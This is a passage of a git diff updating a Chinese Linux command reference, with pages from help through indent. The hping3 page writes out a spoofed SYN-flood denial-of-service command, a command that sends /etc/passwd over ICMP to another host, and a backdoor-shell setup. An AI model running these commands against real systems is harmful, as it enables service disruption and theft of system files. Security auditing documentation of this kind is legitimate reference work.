+-m:按照man手册的格式输出内建命令的帮助信息。 +-s:仅输出内建命令的命令格式。 +不指定选项时:输出的帮助信息类似于-m选项,但是缺少段落名称和'SEE ALSO','IMPLEMENTATION'部分。 ``` -### 参数 +### 参数 -内部命令:指定需要显示帮助信息的shell内部命令。 +bash内建命令(可以为多个,请用空格分隔开)。 -### 实例 +### 常见问题 + +Q:有哪些命令是bash内建命令?我如何判断一个命令是否为bash内建命令? + +A:您可以在终端使用 'man builtin' 或 'man builtins' 来获取;您可以查看bash内建命令 'type' 的帮助信息。 + +Q:那么help命令本身的帮助信息如何获取? + +A:把help作为参数传给help命令;) + +Q:为什么echo也可以用 'man echo' 来查看帮助信息? + +A:因为除了bash内建的echo,GNU/linux的coreutils包里也有该命令;在echo的man手册中,DESCRIPTION段落的 'NOTE' 也提示了和同名内建的不同。 + +PS:当你在shell脚本里定义了一个叫 'echo' 的函数,那么调用的时候优先级会如何呢? + +请参考 'builtin' 命令 + +Q:我需要获得更多的bash的相关帮助信息 + +A:限于篇幅和主题,您可以在终端执行 'man bash' , 'info bash' ,[访问bash官方网站](http://www.gnu.org/software/bash/),以及搜索引擎等。 + + +### 实例 使用help命令显示shell内部shopt命令的帮助信息,输入如下命令: @@ -41,4 +67,4 @@ shopt: shopt [-pqsu] [-o long-option] optname [optname...] ``` - \ No newline at end of file + diff --git a/command/hexdump.md b/command/hexdump.md index 16901d7b18e..76bef5305b0 100644 --- a/command/hexdump.md +++ b/command/hexdump.md @@ -7,13 +7,13 @@ hexdump **hexdump命令** 一般用来查看“二进制”文件的十六进制编码,但实际上它能查看任何文件,而不只限于二进制文件。 -### 语法 +### 语法 ```shell hexdump [选项] [文件]... ``` -### 选项 +### 选项 ```shell -n length 只格式化输入文件的前length个字节。 @@ -47,7 +47,7 @@ hexdump [选项] [文件]... 同一行如果要显示多个格式字符串,则可以跟多个`-e`选项。 -### 实例 +### 实例 ```shell hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test @@ -57,4 +57,3 @@ hexdump -e '16/1 "%02X " " | "' -e '16/1 "%_p" "\n"' test ``` - \ No newline at end of file diff --git a/command/history.md b/command/history.md index 6af3d49120b..2a38ab9c255 100644 --- a/command/history.md +++ b/command/history.md @@ -1,46 +1,51 @@ history === -用于显示历史命令 +显示或操作历史列表。 -## 补充说明 +## 概要 -**history命令** 用于显示指定数目的指令命令,读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。 +```shell +history [-c] [-d offset] [n] +history -anrw [filename] +history -ps arg [arg...] +``` -该命令单独使用时,仅显示历史命令,在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。 +## 主要用途 -历史命令是被保存在内存中的,当退出或者登录shell时,会自动保存或读取。在内存中,历史命令仅能够存储1000条历史命令,该数量是由环境变量`HISTSIZE`进行控制。 +- 显示历史列表。 -### 语法 +- 操作历史列表。 + +## 选项 ```shell -history(选项)(参数) +-c 清空历史列表。 +-d offset 根据offset删除记录。如果是正数则表示offset位置的记录,如果为负数则表示从结尾向前offset位置的记录。 +-a 将当前终端的历史记录行添加到历史记录文件。 +-n 将尚未从历史文件中读取的历史行追加到当前历史列表中。 +-r 读取历史文件,并将其内容附加到历史列表中。 +-w 将当前历史记录列表附加到历史记录文件中并且附加它们到历史列表中。 +-p 在每个arg上执行历史记录扩展并在标准输出上显示结果,而不将结果存储在历史记录列表中。 +-s 将每个arg作为单个条目附加到历史记录列表。 ``` -### 选项 +## 参数 -```shell --c:清空当前历史命令; --a:将历史命令缓冲区中命令写入历史命令文件中; --r:将历史命令文件中的命令读入当前历史命令缓冲区; --w:将当前历史命令缓冲区命令写入历史命令文件中。 -``` +n:可选,只列出最近的n条记录。 + +filename:可选,表示历史文件;默认调用顺序为`filename`、环境变量`HISTFILE`、`~/.bash_history`。 -### 参数 +## 返回值 -n:打印最近的n条历史命令。 +返回成功,除非提供了非法选项或出现了错误。 -### 实例 +## 例子 -使用history命令显示最近使用的10条历史命令,输入如下命令: +使用history命令显示最近使用的 5 条历史命令 ```shell -[root@localhost ~]# history 10 - 92 ls - 93 cd .. - 94 ls - 95 exit - 96 ls -a +[root@localhost ~]# history 5 97 cd .ssh/ 98 ls 99 cat known_hosts @@ -48,30 +53,37 @@ n:打印最近的n条历史命令。 101 history 10 ``` -列出最近3条记录 +清空历史记录 ```shell -[root@localhost ~]# history 3 - 15 2017-08-26 11:44:35 root history 3 - 16 2017-08-26 11:44:37 root history n - 17 2017-08-26 11:44:40 root history 3 +[root@localhost ~]# history -c ``` -清空历史记录 +删除制定的行 ```shell -[root@localhost ~]# history -c +[root@localhost ~]# history -d <指定行号> +[root@localhost ~]# history -d 2243 ``` -更多实例: +快捷执行一条历史命令 ```shell -history -cw -`~/.bash_history`: 保存历史命令 -`/etc/profile` -> HISSIZE: 历史命令保存数量 -推荐添加 h -> history, hsi -> history|grep 别名 -`!n`: 执行第 n 条历史命令 -`!xxx`: 执行最后一条 xxx 开头的命令 +# 执行第 n 条历史命令 +[root@localhost ~]# !n + +# 执行最后一条 xxx 开头的命令 +[root@localhost ~]# !xxx ``` - + +### 注意 + +1. 在命令行中,可以使用符号`!`执行指定序号的历史命令。例如,要执行第2个历史命令,则输入`!2`。 +2. 关闭终端后,历史列表将被写入历史文件`~/.bash_history`。 +3. 环境变量`HISTSIZE`决定了历史文件中命令的存储数量,默认存储1000条。 +4. 环境变量`HISTTIMEFORMAT`如果是非空值,则使用其值作为`strftime(3)`打印相关时间戳的格式字符串添加在每个显示的历史记录之前;否则不会打印时间戳。 +5. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + + diff --git a/command/host.md b/command/host.md index 11e6ac2e2f2..7685b10a9b8 100644 --- a/command/host.md +++ b/command/host.md @@ -7,13 +7,13 @@ host **host命令** 是常用的分析域名查询工具,可以用来测试域名系统工作是否正常。 -### 语法 +### 语法 ```shell host(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:显示详细的DNS信息; @@ -28,11 +28,11 @@ host(选项)(参数) -6:使用IPv6. ``` -### 参数 +### 参数 主机:指定要查询信息的主机信息。 -### 实例 +### 实例 ```shell [root@localhost ~]# host www.jsdig.com @@ -54,4 +54,3 @@ Received 54 bytes from 202.96.104.15#53 in 0 ms ``` - \ No newline at end of file diff --git a/command/hostid.md b/command/hostid.md index 612e187a984..2f4bf567709 100644 --- a/command/hostid.md +++ b/command/hostid.md @@ -1,31 +1,36 @@ hostid === -用来打印当前主机的数字化标识 +显示当前主机的十六进制数字标识。 -## 补充说明 - -**hostid命令** 用于打印当前主机的十六进制数字标识。是主机的唯一标识,是被用来限时软件的使用权限,不可改变。 - -### 语法 +## 概要 ```shell -hostid +hostid [OPTION]... ``` -### 选项 +## 主要用途 + +- 显示当前主机的十六进制标识符。 +- 用来限制软件的使用权限,不可改变。 + +## 选项 ```shell ---help:显示帮助信息; ---version:显示版本信息。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 实例 +## 例子 ```shell [root@localhost ~]# hostid 007f0100 ``` +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 hostid`,`info coreutils 'hostid invocation'`。 + + - \ No newline at end of file diff --git a/command/hostname.md b/command/hostname.md index a94b99994e9..f0f9c05bd52 100644 --- a/command/hostname.md +++ b/command/hostname.md @@ -5,41 +5,59 @@ hostname ## 补充说明 -**hostname命令** 用于显示和设置系统的主机名称。环境变量HOSTNAME也保存了当前的主机名。在使用hostname命令设置主机名后,系统并不会永久保存新的主机名,重新启动机器之后还是原来的主机名。如果需要永久修改主机名,需要同时修改`/etc/hosts`和`/etc/sysconfig/network`的相关内容。 +**hostname命令** +用于显示和设置系统的主机名称。 + +- 环境变量 `HOSTNAME` 也保存了当前的主机名。 +- 在使用 `hostname` 命令设置主机名后,系统并不会永久保存新的主机名,重启之后还是原来的主机名。如果需要永久修改主机名,需要修改 `/etc/hosts` 和 `/etc/sysconfig/network` 的相关内容并进行重启;也可以使用 `hostnamectl` 命令进行永久修改。 ### 语法 ```shell -hostname(选项)(参数) +hostname [-b] {hostname|-F file} 设置主机名称(或从文件获取) +hostname [-a|-A|-d|-f|-i|-I|-s|-y] 显示格式化的名称 +hostname 显示主机名称 + +{yp,nis,}domainname {nisdomain|-F file} 设置 NIS 主机名称(或从文件获取) +{yp,nis,}domainname 显示 NIS 主机名称 + +dnsdomainname 显示 DNS 主机名称 + +hostname -V|--version|-h|--help 打印信息并退出 ``` ### 选项 ```shell --v:详细信息模式; --a:显示主机别名; --d:显示DNS域名; --f:显示FQDN名称; --i:显示主机的ip地址; --s:显示短主机名称,在第一个点处截断; --y:显示NIS域名。 +-a, --alias 显示主机别名 +-A, --all-fqdns 显示所有FQDN名称 +-b, --boot 如果没有可用的主机名,则设置默认主机名 +-d, --domain 显示DNS域名 +-f, --fqdn, --long 显示FQDN名称 +-F, --file 从给定文件中读取主机名或NIS域名 +-i, --ip-address 显示主机的ip地址 +-I, --all-ip-addresses 显示主机所有的ip地址 +-s, --short 显示短主机名称,在第一个点处截断 +-y, --yp, --nis 显示NIS域名 ``` -### 参数 - -主机名:指定要设置的主机名。 - ### 实例 +显示主机名 ```shell [root@AY1307311912260196fcZ ~]# hostname AY1307311912260196fcZ +``` -# change hostname -hostname newname # for now -vi /etc/hosts # forever -reboot +临时改变主机名 +```shell +[root@AY1307311912260196fcZ ~]# hostname newname +``` + +显示主机的所有IP地址 +```shell +[root@AY1307311912260196fcZ ~]# hostname -I +10.17.0.1 10.18.0.10 172.17.0.1 ``` - \ No newline at end of file diff --git a/command/hostnamectl.md b/command/hostnamectl.md new file mode 100644 index 00000000000..37dec2c8e0f --- /dev/null +++ b/command/hostnamectl.md @@ -0,0 +1,52 @@ +hostnamectl +=== + +查询或更改系统主机名 + +## 补充说明 + +hostnamectl可用于查询和更改系统主机名和相关设置。 + +### 语法 + +```bash +hostnamectl [选项...] 指令 ... +``` +### 指令 + +```bash +status 显示当前主机名设置 +set-hostname NAME 设置系统主机名 +set-icon-name NAME 设置主机的图标名称 +set-chassis NAME 设置主机的机箱类型 +set-deployment NAME 设置主机的部署环境 +set-location NAME 设置主机位置 +``` + +### 选项 + +```bash +-h --help 显示此帮助 + --version 显示包的版本 + --no-ask-password 不提示输入密码 +-H --host=[USER@]HOST 在远程主机上操作 +-M --machine=CONTAINER 在本地容器上执行操作。指定要连接到的容器名称。 +--transient, --static, --pretty + 如果调用了status(或者没有给出显式命令)并且指定了其中一个开关,hostnamectl将只打印出这个选定的主机名。 +``` + +### 实例 + +显示主机名设置 + +```bash +$ hostnamectl status +``` + + +改变主机名(永久修改,不用重启哦~) + +```bash +$ sudo hostnamectl set-hostname newname +``` + diff --git a/command/hping3.md b/command/hping3.md index 100c7227e62..cc839cbb140 100644 --- a/command/hping3.md +++ b/command/hping3.md @@ -7,7 +7,7 @@ hping3 **hping** 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。 -### 安装 +### 安装 ```shell yum install libpcap-devel tc-devel @@ -20,7 +20,7 @@ make make install ``` -### 选项 +### 选项 ```shell -H --help 显示帮助。 @@ -69,11 +69,11 @@ make install -Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。 ``` -### Hping3功能 +### Hping3功能 Hping3主要有以下典型功能应用: -####  防火墙测试 +### #  防火墙测试 使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html @@ -83,7 +83,7 @@ Hping3主要有以下典型功能应用: hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10 ``` -#### 端口扫描 +### # 端口扫描 Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放: @@ -95,13 +95,13 @@ hping3 -I eth0 -S 192.168.10.1 -p 80 hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。 -#### Idle扫描 +### # Idle扫描 Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。 该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。 -#### 拒绝服务攻击 +### # 拒绝服务攻击 使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。 @@ -111,7 +111,7 @@ hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 其他攻击如smurf、teardrop、land attack等也很容易构建出来。 -#### 文件传输 +### # 文件传输 Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务: @@ -129,7 +129,7 @@ hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd 将`/etc/passwd`密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。 -#### 木马功能 +### # 木马功能 如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。 @@ -153,4 +153,3 @@ hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd 当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。 - \ No newline at end of file diff --git a/command/htdigest.md b/command/htdigest.md index e98eacadc43..0d8f0b10398 100644 --- a/command/htdigest.md +++ b/command/htdigest.md @@ -7,23 +7,22 @@ Apache服务器内置工具 **htdigest命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用于摘要认证的密码文件。 -### 语法 +### 语法 ```shell htdigest(选项)(参数) ``` -### 选项 +### 选项 ```shell -c:创建密码文件。 ``` -### 参数 +### 参数 * 密码文件:指定要创建或更新的密码文件; * 域:指定用户名所属的域; * 用户名:要创建或者更新的用户名。 - \ No newline at end of file diff --git a/command/htop.md b/command/htop.md index 89a80f2cd94..9a0c886834b 100644 --- a/command/htop.md +++ b/command/htop.md @@ -1,7 +1,7 @@ htop === -[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况。 +[非内部命令]一个互动的进程查看器,可以动态观察系统进程状况 ## 补充说明 @@ -24,7 +24,55 @@ top缺点: htop 官网:http://htop.sourceforge.net/ -### 语法 +### htop 安装 + +在大多数的 Linux 发行版中你不会找到预安装的 `htop`,但作为最流行的实用程序之一,你会在几乎每个 Linux 发行版的默认存储库中找到 `htop`。 + +因此,如果你的机器是基于 Debian/Ubuntu 驱动的,则以下命令应该可以完成你的工作: + +```shell +sudo apt install htop +``` + +类似的,如果你使用的是 Fedora,则可以使用以下的命令: + +```shell +sudo dnf install htop +``` + +如果你使用的是 CentOS 或 RedHat 则可以使用以下的命令: + +```shell +sudo yum install htop +``` +如果你想避免从源代码构建包,还有一个 Snap 包可用: + +```shell +sudo snap install htop +``` + +如果你使用的是其它的发行版或者想从源代码构建,你可以使用 `wget` 下载并安装: +这需要你下载并安装 `wget` `cmake` + +```shell +wget https://link.zhihu.com/?target=https%3A//hisham.hm/htop/releases/2.2.0/htop-2.2.0.tar.gz + +tar -zxvf htop-2.2.0.tar.gz + +cd htop-2.2.0/ + +./configure + +make + +make install +``` + +当然你也可以随时参考你可以随时参考 [htop 的 GitHub](https://link.zhihu.com/?target=https%3A//github.com/htop-dev/htop) 页面以获得详细说明。 + +**说明**:htop源码安装方式默认安装到 `/usr/local` 目录下,如果想安装到其它路径,在执行 configure 时通过 `—prefix` 指定,格式为:`./configure --prefix=/some/path` + +### 语法 ```shell htop @@ -42,7 +90,17 @@ htop -v --version 打印版本信息 ``` -### 选项 +#### 参数示例 + +- -C 选项:设置界面为无颜色。 + +- -d 选项 : 设置刷新时间,单位为秒。如,htop -d 10命令会每10秒刷新一次。 + +- -s 选项 : 按指定的列排序。如,htop -s PID命令会按PID 列的大小排序来显示。 + +- -u 选项 : 显示指定的用户的进程信息。如,htop -u test命令会只显示出用户名为test的相关进程。 + +### 选项 ```shell h,? F1:查看htop使用说明 @@ -76,7 +134,7 @@ T:按运行时间排序 左右键或Home, End : 移动列表 Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程,例如 "kill",将应用于所有已标记的进程 -```shell +``` ### Htop设定 @@ -126,4 +184,3 @@ F7表示减小nice值(增大优先级),F8增大nice值(减小优先级),选 **F10:退出htop** - \ No newline at end of file diff --git a/command/htpasswd.md b/command/htpasswd.md index f23cff97b57..cdf96677bb8 100644 --- a/command/htpasswd.md +++ b/command/htpasswd.md @@ -7,11 +7,11 @@ apache服务器创建密码认证文件 **htpasswd命令** 是Apache的Web服务器内置工具,用于创建和更新储存用户名、域和用户基本认证的密码文件。 -### 语法 +### 语法 -### htpasswd(选项)(参数) +### htpasswd(选项)(参数) -### 选项 +### 选项 ```shell -c:创建一个加密文件; @@ -24,12 +24,12 @@ apache服务器创建密码认证文件 -D:删除指定的用户。 ``` -### 参数 +### 参数 * 用户:要创建或者更新密码的用户名; * 密码:用户的新密码。 -### 实例 +### 实例 **利用htpasswd命令添加用户** @@ -71,4 +71,3 @@ htpasswd -b .passwd Jack 123456 即先使用htpasswd删除命令删除指定用户,再利用htpasswd添加用户命令创建用户即可实现修改密码的功能。 - \ No newline at end of file diff --git a/command/hwclock.md b/command/hwclock.md index 63b92980b90..8644035b643 100644 --- a/command/hwclock.md +++ b/command/hwclock.md @@ -9,13 +9,13 @@ hwclock 在Linux中有硬件时钟与系统时钟等两种时钟。硬件时钟是指主机板上的时钟设备,也就是通常可在BIOS画面设定的时钟。系统时钟则是指kernel中的时钟。当Linux启动时,系统时钟会去读取硬件时钟的设定,之后系统时钟即独立运作。所有Linux相关指令与函数都是读取系统时钟的设定。 -### 语法 +### 语法 ```shell hwclock(选项) ``` -### 选项 +### 选项 ```shell --adjust:hwclock每次更改硬件时钟时,都会记录在/etc/adjtime文件中。使用--adjust参数,可使hwclock根据先前的记录来估算硬件时钟的偏差,并用来校正目前的硬件时钟; @@ -30,7 +30,7 @@ hwclock(选项) --version:显示版本信息。 ``` -### 实例 +### 实例 设置硬件时间要依赖于操作系统时间,具体方法如下: @@ -62,4 +62,3 @@ ARC=false ``` - \ No newline at end of file diff --git a/command/iconv.md b/command/iconv.md index e9924a87cc6..658e7938417 100644 --- a/command/iconv.md +++ b/command/iconv.md @@ -7,13 +7,13 @@ iconv **iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。 -### 语法 +### 语法 ```shell iconv -f encoding [-t encoding] [inputfile]... ``` -### 选项 +### 选项 ```shell -f encoding :把字符从encoding编码开始转换。 @@ -26,7 +26,7 @@ iconv -f encoding [-t encoding] [inputfile]... -f和-t所能指定的合法字符在-l选项的命令里面都列出来了。 ``` -### 实例 +### 实例 列出当前支持的字符编码:  @@ -43,4 +43,3 @@ iconv file1 -f EUC-JP-MS -t UTF-8 -o file2 这里,没`-o`那么会输出到标准输出。 - \ No newline at end of file diff --git a/command/id.md b/command/id.md index 9514064ec6a..f19dde917b6 100644 --- a/command/id.md +++ b/command/id.md @@ -1,33 +1,45 @@ id === -显示用户的ID以及所属群组的ID +打印真实以及有效的用户和所在组的信息 -## 补充说明 +## 概要 -**id命令** 可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID。id命令已经默认预装在大多数Linux系统中。要使用它,只需要在你的控制台输入id。不带选项输入id会显示如下。结果会使用活跃用户。 +```shell +id [OPTION]... [USER]... +``` + +## 主要用途 -当我们想知道某个用户的UID和GID时id命令是非常有用的。一些程序可能需要UID/GID来运行。id使我们更加容易地找出用户的UID以GID而不必在`/etc/group`文件中搜寻。如往常一样,你可以在控制台输入`man id`进入id的手册页来获取更多的详情。 +- 没有选项时,打印指定用户ID信息。 -### 语法 +## 选项 ```shell -id [-gGnru]--[help][--version][用户名称] +-a 兼容性选项,没有实际作用。 +-Z, --context 只打印进程的安全上下文。 +-g, --group 只打印有效的组ID。 +-G, --groups 打印全部组ID。 +-u, --user 只打印有效的用户ID。 +-z, --zero 使用空字符代替默认的空格来分隔条目。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 选项 - +只有在使用 `-u` `-g` `-G` 选项中一到多个时,以下选项可以使用: ```shell --g或--group   显示用户所属群组的ID。 --G或--groups 显示用户所属附加群组的ID。 --n或--name   显示用户,所属群组或附加群组的名称。 --r或--real   显示实际ID。 --u或--user   显示用户ID。 --help   显示帮助。 --version   显示版本信息。 +-n, --name 打印名称而不是数字。 +-r, --real 打印真实ID而不是有效ID。 ``` -### 实例 +## 参数 +user(可选):可以为一到多个,默认为当前用户。 + +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 ```shell [root@localhost ~]# id @@ -74,5 +86,10 @@ uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10 uid=500(www) gid=500(www) groups=500(www) ``` +### 注意 + +1. 该命令可以显示真实有效的用户ID(UID)和组ID(GID)。UID 是对一个用户的单一身份标识。组ID(GID)则对应多个UID;一些程序可能需要UID/GID来运行。`id` 使我们更加容易地找出用户的UID以及GID,而不必在 `/etc/group` 文件中搜寻。 + +2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 id`,`info coreutils 'id invocation'`。 + - \ No newline at end of file diff --git a/command/ifcfg.md b/command/ifcfg.md index cfe0770c2f4..ff3ea49d340 100644 --- a/command/ifcfg.md +++ b/command/ifcfg.md @@ -7,13 +7,13 @@ ifcfg **ifcfg命令** 是一个Bash脚本程序,用来设置Linux中的网络接口参数。 -### 语法 +### 语法 ```shell ifcfg(参数) ``` -### 参数 +### 参数 ```shell 网络接口:指定要操作的网络接口; @@ -23,4 +23,3 @@ Stop:停用指定的网络接口的IP地址。 ``` - \ No newline at end of file diff --git a/command/ifconfig.md b/command/ifconfig.md index d22c9a69e34..aedc24cf36a 100644 --- a/command/ifconfig.md +++ b/command/ifconfig.md @@ -7,13 +7,13 @@ ifconfig **ifconfig命令** 被用于配置和显示Linux内核中网络接口的网络参数。用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。 -### 语法 +### 语法 ```shell ifconfig(参数) ``` -### 参数 +### 参数 ```shell add<地址>:设置网络设备IPv6的ip地址; @@ -36,7 +36,7 @@ IP地址:指定网络设备的IP地址; 网络设备:指定网络设备的名称。 ``` -### 实例 +### 实例 **显示网络设备信息(激活状态的):** @@ -125,4 +125,4 @@ ifconfig eth0 #显示eth0的网卡信息 ``` - + diff --git a/command/ifdown.md b/command/ifdown.md index 48969ead45f..99ab86a7fe3 100644 --- a/command/ifdown.md +++ b/command/ifdown.md @@ -7,21 +7,20 @@ ifdown **ifdown命令** 用于禁用指定的网络接口。 -### 语法 +### 语法 ```shell ifdown(参数) ``` -### 参数 +### 参数 网络接口:要禁用的网络接口。 -### 实例 +### 实例 ```shell ifdown eth0 #禁用eth0 ``` - \ No newline at end of file diff --git a/command/ifstat.md b/command/ifstat.md index 76e21664105..5b4732e8214 100644 --- a/command/ifstat.md +++ b/command/ifstat.md @@ -7,14 +7,14 @@ ifstat **ifstat命令** 就像iostat/vmstat描述其它的系统状况一样,是一个统计网络接口活动状态的工具。ifstat工具系统中并不默认安装,需要自己下载源码包,重新编译安装,使用过程相对比较简单。 -### 下载 +### 下载 ```shell http://gael.roualland.free.fr/ifstat/ (官网) wget http://gael.roualland.free.fr/ifstat/ifstat-1.1.tar.gz ``` -### 编译安装 +### 编译安装 ```shell tar -zxvf ifstat-1.1.tar.gz @@ -26,7 +26,7 @@ make install # 默认会安装到/usr/local/bin/目录中 注释:执行`which ifstat`输出`/usr/local/bin/ifstat` -### 选项 +### 选项 ```shell -l 监测环路网络接口(lo)。缺省情况下,ifstat监测活动的所有非环路网络接口。经使用发现,加上-l参数能监测所有的网络接口的信息,而不是只监测 lo的接口信息,也就是说,加上-l参数比不加-l参数会多一个lo接口的状态信息。 @@ -47,7 +47,7 @@ make install # 默认会安装到/usr/local/bin/目录中 -d 指定一个驱动来收集状态信息 ``` -### 实例 +### 实例 默认使用 @@ -83,4 +83,4 @@ HH:MM:ss KB/s in KB/s out KB/s in KB/s out KB/s in KB/s out KB/s in 0.61 0.61 0.26 0.23 0.00 0.00 ``` - + diff --git a/command/iftop.md b/command/iftop.md index 017be8255af..0449a3eccbf 100644 --- a/command/iftop.md +++ b/command/iftop.md @@ -7,48 +7,47 @@ iftop **iftop命令** 是一款实时流量监控工具,监控TCP/IP连接等,缺点就是无报表功能。必须以root身份才能运行。 -### 语法 +### 语法 ```shell iftop(选项) ``` -### 选项 +### 选项 ```shell -iftop: display bandwidth usage on an interface by host +iftop: 按主机显示接口带宽使用情况 -Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] +参数: iftop -h | [-npblNBP] [-i interface] [-f filter code] [-F net/mask] [-G net6/mask6] - -h display this message - -n don't do hostname lookups - -N don't convert port numbers to services - -p run in promiscuous mode (show traffic between other - hosts on the same network segment) - -b don't display a bar graph of traffic - -B Display bandwidth in bytes - -i interface listen on named interface + -h 显示帮助信息 + -n 不要讲ip转为主机名 + -N 不要将端口转为对应服务名 + -p 以混杂模式运行(显示同一网段内其他主机之间的流量) + -b 不要展示流量通行条形图 + -B 使用Byte展示流量情况(默认展示的bit) + -i interface 指定需要监听的网络端口 -i eth0 -f filter code use filter code to select packets to count (default: none, but only IP packets are counted) - -F net/mask show traffic flows in/out of IPv4 network - -G net6/mask6 show traffic flows in/out of IPv6 network - -l display and count link-local IPv6 traffic (default: off) - -P show ports as well as hosts - -m limit sets the upper limit for the bandwidth scale - -c config file specifies an alternative configuration file - -t use text interface without ncurses + -F net/mask 展示指定IPV4网络的流量,参数可以是主机名/IP/掩码 + -G net6/mask6 展示指定IPV6网络的流量,参数可以是主机名/IP/掩码 + -l 展示本地网络/回环网络/ipv6流量 (默认值: 关闭) + -P 展示主机端口 + -m limit 设置带宽规模的上限 + -c config file 指定可选配置文件 + -t 使用文本模式展示 Sorting orders: - -o 2s Sort by first column (2s traffic average) - -o 10s Sort by second column (10s traffic average) [default] - -o 40s Sort by third column (40s traffic average) - -o source Sort by source address - -o destination Sort by destination address + -o 2s 按照第一列进行排序 (每2秒的平均值为一个计数周期) + -o 10s 按照第二列进行排序 (每10秒的平均值为一个计数周期] + -o 40s 按照第三列进行排序 (每40秒的平均值为一个计数周期) + -o source 按照原地址继续排序 + -o destination 按照目标地址进行排序 - The following options are only available in combination with -t - -s num print one single text output afer num seconds, then quit - -L num number of lines to print + 以下选项仅在与 -t + -s num 在num秒后打印一个文本输出,然后退出 + -L num 打印的行数 ``` ### 界面说明 @@ -60,7 +59,7 @@ Synopsis: iftop -h | [-npblNBP] [-i interface] [-f filter code] > 最后三行表示发送,接收和全部的流量, > 第二列为你运行iftop到目前流量,第三列为高峰值,第四列为平均值。 -### 实例 +### 实例 ```shell iftop # 默认是监控第一块网卡的流量 @@ -71,4 +70,4 @@ iftop -F 192.168.1.0/24 or 192.168.1.0/255.255.255.0 # 显示某个网段进出 ``` - + diff --git a/command/ifup.md b/command/ifup.md index ac517a1a757..e8776f7d2fe 100644 --- a/command/ifup.md +++ b/command/ifup.md @@ -7,21 +7,20 @@ ifup **ifup命令** 用于激活指定的网络接口。 -### 语法 +### 语法 ```shell ifup(参数) ``` -### 参数 +### 参数 网络接口:要激活的网络接口。 -### 实例 +### 实例 ```shell ifup eth0 #激活eth0 ``` - \ No newline at end of file diff --git a/command/indent.md b/command/indent.md index cdfb6d8b6ca..d83051551de 100644 --- a/command/indent.md +++ b/command/indent.md @@ -7,7 +7,7 @@ indent **indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。 -### 语法 +### 语法 ```shell indent(选项)(源文件) @@ -15,7 +15,7 @@ indent(选项)(源文件) indent(选项)(源文件)(-o 目标文件) ``` -### 选项 +### 选项 ```shell -bad:在声明区加上空白行; @@ -73,7 +73,7 @@ indent(选项)(源文件)(-o 目标文件) --version:显示版本信息。 ``` -### 实例 +### 实例 使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令: @@ -84,4 +84,3 @@ indent -bs /home/rootlocal/桌面/test.c 执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。 - \ No newline at end of file diff --git a/command/info.md 